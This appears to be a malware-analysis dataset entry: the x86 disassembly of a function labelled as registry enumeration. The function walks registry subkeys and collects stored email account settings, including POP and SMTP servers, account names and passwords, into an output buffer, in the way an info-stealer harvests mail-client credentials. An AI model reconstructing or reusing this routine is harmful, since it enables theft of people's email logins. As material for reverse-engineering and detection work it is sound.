Function at 0x40f307
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7b8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x40f60e
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x40f35c
jmp 0x40f606
push 0x416141
push dword [ebp + 0xc]
call fcn.00401e36
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401e8a
mov dword [ebp - 0x810], eax
push 0
push str.EmailAddress
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401daf
mov dword [ebp - 0x814], eax
push 0
push str.Technology
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401daf
mov dword [ebp - 0x818], eax
push 0
push str.PopServer
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401daf
mov dword [ebp - 0x81c], eax
lea eax, [ebp - 0x824]
push eax
push str.PopPort
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401daf
mov dword [ebp - 0x820], eax
push 0
push str.PopAccount
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401daf
mov dword [ebp - 0x828], eax
lea eax, [ebp - 0x830]
push eax
push str.PopPassword
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401daf
mov dword [ebp - 0x82c], eax
push 0
push str._mtpServer
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401daf
mov dword [ebp - 0x834], eax
lea eax, [ebp - 0x83c]
push eax
push str._mtpPort
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401daf
mov dword [ebp - 0x838], eax
push 0
push str._mtpAccount
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401daf
mov dword [ebp - 0x840], eax
lea eax, [ebp - 0x848]
push eax
push str._mtpPassword
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401daf
mov dword [ebp - 0x844], eax
cmp dword [ebp - 0x814], 0
je 0x40f574
cmp dword [ebp - 0x830], 0
jne 0x40f4c3
cmp dword [ebp - 0x848], 0
je 0x40f574
push 0xbeef0000
push dword [ebp + 0x10]
call fcn.004015a7
push dword [ebp - 0x814]
push dword [ebp + 0x10]
call fcn.00401609
push dword [ebp - 0x818]
push dword [ebp + 0x10]
call fcn.00401609
push dword [ebp - 0x81c]
push dword [ebp + 0x10]
call fcn.00401609
push dword [ebp - 0x824]
push dword [ebp - 0x820]
push dword [ebp + 0x10]
call fcn.004015dd
push dword [ebp - 0x828]
push dword [ebp + 0x10]
call fcn.00401609
push dword [ebp - 0x830]
push dword [ebp - 0x82c]
push dword [ebp + 0x10]
call fcn.004015dd
push dword [ebp - 0x834]
push dword [ebp + 0x10]
call fcn.00401609
push dword [ebp - 0x83c]
push dword [ebp - 0x838]
push dword [ebp + 0x10]
call fcn.004015dd
push dword [ebp - 0x840]
push dword [ebp + 0x10]
call fcn.00401609
push dword [ebp - 0x848]
push dword [ebp - 0x844]
push dword [ebp + 0x10]
call fcn.004015dd
push dword [ebp + 0x10]
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.0040f307
push dword [ebp - 0x810]
call fcn.004018f6
push dword [ebp - 0x814]
call fcn.004018f6
push dword [ebp - 0x818]
call fcn.004018f6
push dword [ebp - 0x81c]
call fcn.004018f6
push dword [ebp - 0x820]
call fcn.004018f6
push dword [ebp - 0x828]
call fcn.004018f6
push dword [ebp - 0x82c]
call fcn.004018f6
push dword [ebp - 0x834]
call fcn.004018f6
push dword [ebp - 0x838]
call fcn.004018f6
push dword [ebp - 0x840]
call fcn.004018f6
push dword [ebp - 0x844]
call fcn.004018f6
inc dword [ebp - 8]
jmp 0x40f32e
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc